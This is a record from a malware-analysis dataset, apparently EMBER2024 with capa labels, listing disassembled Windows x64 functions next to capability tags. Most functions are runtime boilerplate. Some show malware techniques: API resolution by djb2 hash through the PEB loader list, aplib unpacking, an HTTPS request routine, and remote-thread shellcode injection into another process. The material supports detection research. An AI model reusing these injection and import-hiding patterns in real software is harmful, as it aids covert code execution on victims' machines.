joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x4020c4
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401f5c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401fe9
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401f40
mov rcx, rbx
call fcn.00402be0
test rax, rax
mov r12, rax
je 0x4020f9
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402d10
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4020dc
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401fe2
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402064
add dword [0x00408624], 1
cmp edi, 8
jae 0x402020
test dil, 4
jne 0x4020b0
test edi, edi
je 0x40200c
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4020cb
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40200c
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x402050
jmp 0x40200c
add rsi, qword [0x00408628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401fe2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00403140
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40200c
xor esi, esi
jmp 0x401f67
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40200c
mov rax, qword [0x00408628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call fcn.00403140
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00403140
nop
nop dword [rax]
Function at 0x402850
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x4028a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40289b
test rsi, rsi
je 0x40289b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402880
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402be0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405660]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x402c4d
mov rcx, r8
call fcn.00402ac0
test eax, eax
je 0x402c4d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402c4d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402c44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402c4f
add rax, 0x28
cmp rax, r9
jne 0x402c30
xor eax, eax
add rsp, 0x28
ret

Function at 0x403140
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402fb0
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402fb0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x140011235
Capabilities:
Terminate process

Disassembly:
jmp 0x140013320
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112cb
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400146b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400146d0
xor al, al
jmp 0x140014751
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400146e3
xor al, al
jmp 0x140014751
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001470d
xor al, al
jmp 0x140014751
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014721
xor al, al
jmp 0x140014751
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014733
xor al, al
jmp 0x140014751
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001474f
xor al, al
jmp 0x140014751
mov al, 1
add rsp, 0x38
ret
Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140013020
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014370
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014390
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400143a3
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400143cd
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400143e1
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400143f3
xor al, al
jmp 0x140014411
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001440f
xor al, al
jmp 0x140014411
mov al, 1
add rsp, 0x38
ret
Function at 0x140011302
Capabilities:
Manipulate console buffer

Disassembly:
jmp 0x140011850
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x128]
lea rcx, [0x1400220a4]
call fcn.140011389
movzx eax, word [rbp + 0x100]
mov word [rbp + 4], ax
movzx eax, word [rbp + 0x108]
mov word [rbp + 6], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [rbp + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.140011325
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140006d20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006d6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006d6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006d6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006d6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140006d6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006d6c
xor al, al
add rsp, 0x28
ret
Function at 0x1409f60b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409f6237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1409f60e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409f60c7
add dl, dl
jne 0x1409f60ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409f614e
xor eax, eax
add dl, dl
jne 0x1409f60fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409f6205
add dl, dl
jne 0x1409f610e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409f611b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409f6128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409f6135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409f6142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1409f60d6
mov eax, 1
add dl, dl
jne 0x1409f615e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409f616b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409f6153
sub eax, ebx
mov ebx, 1
jne 0x1409f61a4
mov ecx, 1
add dl, dl
jne 0x1409f6186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409f6193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409f617b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409f60d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1409f61c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409f61cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409f61b5
cmp eax, 0x7d00
jae 0x1409f61f3
cmp eax, 0x500
jb 0x1409f61ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409f60d6
cmp eax, 0x7f
ja 0x1409f61f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409f60d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409f622a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1409f60d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001e70
Capabilities:
Hash data using djb2

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rcx
mov byte [rsp + 0xf], 0
mov dword [rsp + 8], 0x1505
mov qword [rsp], 0
mov rax, qword [rsp + 0x10]
mov qword [rsp], rax
mov rax, qword [rsp]
mov al, byte [rax]
mov byte [rsp + 0xf], al
movzx eax, byte [rsp + 0xf]
cmp eax, 0x61
jl 0x140001ebb
movzx eax, byte [rsp + 0xf]
sub eax, 0x20
mov byte [rsp + 0xf], al
mov eax, dword [rsp + 8]
shl eax, 5
add eax, dword [rsp + 8]
movzx ecx, byte [rsp + 0xf]
add eax, ecx
mov dword [rsp + 8], eax
movzx eax, byte [rsp + 0xf]
cmp eax, 0
jne 0x140001ee4
jmp 0x140001ef5
mov rax, qword [rsp]
add rax, 1
mov qword [rsp], rax
jmp 0x140001e97
mov eax, dword [rsp + 8]
add rsp, 0x18
ret

Function at 0x140001f00
Capabilities:
Hash data using djb2

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rcx
mov byte [rsp + 0xf], 0
mov dword [rsp + 8], 0x1505
mov rax, qword [rsp + 0x10]
mov qword [rsp], rax
mov rax, qword [rsp]
mov ax, word [rax]
mov byte [rsp + 0xf], al
movzx eax, byte [rsp + 0xf]
cmp eax, 0
jne 0x140001f3d
jmp 0x140001f7e
movzx eax, byte [rsp + 0xf]
cmp eax, 0x61
jl 0x140001f57
movzx eax, byte [rsp + 0xf]
sub eax, 0x20
mov byte [rsp + 0xf], al
mov eax, dword [rsp + 8]
shl eax, 5
add eax, dword [rsp + 8]
movzx ecx, byte [rsp + 0xf]
add eax, ecx
mov dword [rsp + 8], eax
mov rax, qword [rsp]
add rax, 2
mov qword [rsp], rax
jmp 0x140001f1f
mov eax, dword [rsp + 8]
add rsp, 0x18
ret
Function at 0x1400020f0
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
add rax, 0x20
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x3c], 0
jmp 0x14000216f
mov rax, qword [rsp + 0x40]
xor ecx, ecx
mov rdx, rcx
add rdx, 0x10
sub rcx, rdx
add rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x50]
call fcn.140001f00
mov eax, eax
cmp rax, qword [rsp + 0x70]
jne 0x1400021b9
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x30]
mov rax, qword [rsp + 0x68]
mov qword [rax], rcx
add rsp, 0x78
ret
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, qword [rsp + 0x48]
jne 0x14000216f
mov rax, qword [0x140004008]
mov rcx, qword [rax]
mov edx, 0x66f2b2a3
call fcn.140002300
mov rcx, rax
mov rax, qword [section..data]
mov qword [rax + 0x88], rcx
cmp dword [rsp + 0x3c], 0
je 0x140002215
mov rax, qword [section..data]
mov ecx, 1
call qword [rax + pe_nt_image_headers64]
mov eax, dword [rsp + 0x3c]
add eax, 1
mov dword [rsp + 0x3c], eax
lea rcx, [rsp + 0x28]
xor edx, edx
mov r8d, 0x10
call fcn.140001080
mov eax, 0xae8c030f
cmp qword [rsp + 0x70], rax
jne 0x140002258
lea rcx, [rsp + 0x28]
lea rdx, [0x140001fe0]
call fcn.140001500
jmp 0x1400022d4
mov eax, 0xf6af8094
cmp qword [rsp + 0x70], rax
jne 0x14000227e
lea rcx, [rsp + 0x28]
lea rdx, [0x140002030]
call fcn.140001500
jmp 0x1400022cf
mov eax, 0x1946f853
cmp qword [rsp + 0x70], rax
jne 0x1400022a4
lea rcx, [rsp + 0x28]
lea rdx, [0x140002070]
call fcn.140001500
jmp 0x1400022ca
mov eax, 0x6d8fef79
cmp qword [rsp + 0x70], rax
jne 0x1400022c5
lea rcx, [rsp + 0x28]
lea rdx, [0x1400020b0]
call fcn.140001500
jmp 0x1400022ca
jmp 0x1400022cf
jmp 0x1400022d4
mov qword [rsp + 0x20], 0
mov rax, qword [section..data]
mov rax, qword [rax + 0x88]
lea r9, [rsp + 0x20]
xor ecx, ecx
xor edx, edx
lea r8, [rsp + 0x28]
call rax
jmp 0x14000216a
Function at 0x140002300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x188
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000235e
mov qword [rsp + 0x180], 0
jmp 0x1400024d0
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x160]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
cmp dword [rax], 0x4550
je 0x1400023a2
mov qword [rsp + 0x180], 0
jmp 0x1400024d0
mov rdx, qword [rsp + 0x158]
add rdx, 0x18
lea rcx, [rsp + 0x68]
mov r8d, 0xf0
call fcn.1400013f0
mov rax, qword [rsp + 0x168]
mov ecx, dword [rsp + 0xd8]
add rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rcx + 0x20]
add rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rcx + 0x24]
add rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x60]
cmp eax, dword [rcx + 0x14]
jae 0x1400024c4
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x38]
call fcn.140001e70
mov dword [rsp + 0x2c], eax
mov rax, qword [rsp + 0x178]
mov ecx, dword [rsp + 0x2c]
cmp rax, rcx
jne 0x1400024af
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x180], rax
jmp 0x1400024d0
jmp 0x1400024b4
mov eax, dword [rsp + 0x44]
add eax, 1
mov dword [rsp + 0x44], eax
jmp 0x140002425
mov qword [rsp + 0x180], 0
mov rax, qword [rsp + 0x180]
add rsp, 0x188
ret
Function at 0x140002c40
Capabilities:
Reference http user-agent string

Disassembly:
sub rsp, 0xb8
mov qword [rsp + 0xb0], r8
mov word [rsp + 0xae], dx
mov qword [rsp + 0xa0], rcx
mov dword [rsp + 0x9c], 0x600
mov eax, dword [rsp + 0x9c]
mov ecx, eax
call fcn.140001140
mov qword [rsp + 0x90], rax
mov rax, qword [section..data]
mov rax, qword [rax + 0xc8]
mov r9w, word [rsp + 0xae]
mov r8, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x90]
lea rdx, [rsp + 0x9c]
mov dword [rsp + 0x20], 0xaa55
mov dword [rsp + 0x28], 1
call rax
mov rax, qword [section..data]
lea rcx, [0x140002be0]
xor edx, edx
xor r8d, r8d
mov r9d, r8d
mov r8, r9
mov dword [rsp + 0x20], 0
call qword [rax + 0x90]
mov qword [rsp + 0x88], rax
mov rax, qword [section..data]
mov rax, qword [rax + 0x98]
mov rcx, qword [rsp + 0x88]
lea rdx, [0x140002bec]
mov r8d, 0x1bb
xor r9d, r9d
xor r10d, r10d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call rax
mov qword [rsp + 0x80], rax
mov rax, qword [section..data]
mov rax, qword [rax + 0xa8]
mov rcx, qword [rsp + 0x80]
lea rdx, [0x140002c26]
lea r8, [0x140002c2b]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x38], 0
call rax
mov qword [rsp + 0x78], rax
mov rax, qword [section..data]
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x4c], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
lea rcx, [0x140002c00]
call fcn.140001460
mov r9, qword [rsp + 0x40]
mov r10d, dword [rsp + 0x4c]
mov r8d, eax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x78]
lea rdx, [0x140002c00]
mov dword [rsp + 0x20], r10d
call rax
mov dword [rsp + 0x74], 0
mov rax, qword [section..data]
mov rax, qword [rax + 0xc0]
mov rcx, qword [rsp + 0x78]
lea rdx, [rsp + 0x74]
xor r8d, r8d
xor r9d, r9d
call rax
cmp eax, 0
jne 0x140002e32
mov rax, qword [section..data]
mov ecx, 1
call qword [rax + pe_nt_image_headers64]
mov eax, dword [rsp + 0x74]
mov ecx, eax
call fcn.140001140
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x64], 0
mov rax, qword [section..data]
mov rax, qword [rax + 0xb0]
mov r8d, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
lea r9, [rsp + 0x64]
call rax
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, eax
call fcn.140001140
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x60]
mov r8d, eax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call fcn.1400013f0
mov rax, qword [section..data]
mov rax, qword [rax + 0xd0]
mov r8, qword [rsp + 0xb0]
mov ecx, dword [rsp + 0x60]
mov dx, cx
mov rcx, qword [rsp + 0x58]
call rax
mov rcx, qword [rsp + 0x90]
call fcn.1400010e0
mov rcx, qword [rsp + 0x68]
call fcn.1400010e0
mov rcx, qword [rsp + 0x58]
call fcn.1400010e0
mov rax, qword [section..data]
mov rax, qword [rax + 0xb8]
mov rcx, qword [rsp + 0x88]
call rax
mov rax, qword [section..data]
mov rax, qword [rax + 0xb8]
mov rcx, qword [rsp + 0x80]
call rax
mov rax, qword [section..data]
mov rax, qword [rax + 0xb8]
mov rcx, qword [rsp + 0x78]
call rax
xor eax, eax
add rsp, 0xb8
ret
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x140013000
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128f
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x290
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x64
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2b8]
mov rax, qword [0x14001d008]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x1400230a2]
call fcn.140011398
mov qword [rbp + 8], 0
mov ecx, 0x5f5e100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140011956
mov r8d, 0x5f5e100
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.1400112e4
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
lea rax, [rbp + 0x30]
lea rcx, [0x14001acb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xce
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x114], 0xce
lea rcx, str.test
call fcn.1400111a9
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x278]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x138], rax
mov eax, dword [rbp + 0x114]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov eax, dword [rbp + 0x114]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [rbp + 0x30]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x158]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac80]
call fcn.140011334
mov eax, edi
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x250]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014350
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014370
xor al, al
jmp 0x1400143f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014383
xor al, al
jmp 0x1400143f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400143ad
xor al, al
jmp 0x1400143f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400143c1
xor al, al
jmp 0x1400143f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400143d3
xor al, al
jmp 0x1400143f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400143ef
xor al, al
jmp 0x1400143f1
mov al, 1
add rsp, 0x38
ret